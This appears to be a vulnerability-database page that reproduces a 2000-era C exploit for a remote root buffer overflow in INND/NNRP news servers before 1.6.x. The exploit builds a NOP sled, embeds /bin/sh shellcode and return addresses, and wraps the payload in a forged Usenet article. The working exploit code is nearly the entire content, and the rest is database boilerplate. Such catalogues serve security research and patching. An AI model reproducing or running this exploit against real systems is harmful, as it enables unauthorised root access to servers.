Lucene search
K

INND/NNRP < 1.6.x - Remote Root Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

INND/NNRP Remote Root Overflow Exploi

Code

                                                /*
 *  INND/NNRP remote root overflow
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;unistd.h&#62;
#include &#60;sys/types.h&#62;

#define DEFAULT_OFFSET	792
#define BUFFER_SIZE	796
#define ADDRS		80
#define RET			0xefbf95e4
#define NOP			&#34;\x08\x21\x02\x80&#34;

int main(argc, argv)
int argc;
char **argv;
{
  char *buff = NULL, *ptr = NULL;
  u_long *addr_ptr = NULL;
  int ofs = DEFAULT_OFFSET;
  int noplen;
  int i, j;
  u_char execshell[] = 
    &#34;\x34\x16\x05\x06\x96\xd6\x05\x34\x20\x20\x08\x01&#34;
    &#34;\xe4\x20\xe0\x08\x0b\x5a\x02\x9a\xe8\x3f\x1f\xfd&#34;
    &#34;\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02&#34;
    &#34;\x60\x40\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99&#34;
    &#34;\x0b\x18\x02\x98\x34\x16\x04\xbe\x20\x20\x08\x01&#34;
    &#34;\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe&#34;
    &#34;/bin/sh&#34;;
  
  if(argc &#62; 1)
    ofs = atoi(argv[1]);

  if(!(buff = malloc(4096)))
  {
    (void)fprintf(stderr, &#34;can&#39;t allocate memory\n&#34;);
    exit(1);
  }

  ptr = buff;
  noplen = BUFFER_SIZE - strlen(execshell) - ADDRS;

  for(i = 0; i &#60; noplen / 4; i++)
  {
    for(j = 0; j &#60; 4; j++)
      *ptr++ = NOP[j];
  }

  *ptr += noplen;

  for(i = 0; i &#60; strlen(execshell); i++)
    *ptr++ = execshell[i];

  addr_ptr = (unsigned long *)ptr;

  for(i = 0; i &#60; ADDRS / 4; i++)
    *addr_ptr++ = (RET - ofs);

  ptr = (char *)addr_ptr;
  *ptr = &#39;\0&#39;;

  (void)fprintf(stderr, &#34;shellcode len: %d, RET: %x\n&#34;, strlen(buff), RET-ofs);

  printf(
    &#34;Path: babcia!padlina\n&#34;
    &#34;From: babunia @%s\n&#34;
    &#34;Newsgroups: pl.test\n&#34;
    &#34;Subject: test\n&#34;
    &#34;Message-ID: &#60;[email protected]&#62;\n&#34;
    &#34;Date: 26 Aug 1999 10:36:54 +0200\n&#34;
    &#34;Lines: 1\n&#34;
    &#34;\n&#34;
    &#34;west. test it.\n&#34;
    &#34;.\n&#34;, buff);
}


// milw0rm.com [2000-11-30]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16